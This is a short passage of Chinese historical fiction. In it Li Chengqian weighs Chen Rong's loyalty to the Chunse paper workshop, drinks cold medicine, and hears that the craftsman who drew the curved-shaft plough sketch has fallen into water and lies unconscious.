他看得出来陈蓉对春色纸坊的感情很深,而作为帮了她一把的自己,不出意外应该也不用担心陈蓉轻易背叛。 不过总归人心隔肚皮,他也不会全无准备。 李承乾揉揉胸口,拿过床边早已泛凉的中药便一口闷。 李承乾吐舌嘶气中突觉今日宫中太过安静,他才感到奇怪,就听得不远处传来急匆匆的脚步声。 “小殿下不好了,那画曲辕犁草图的吴工匠今晨落了水,现在还在昏迷!”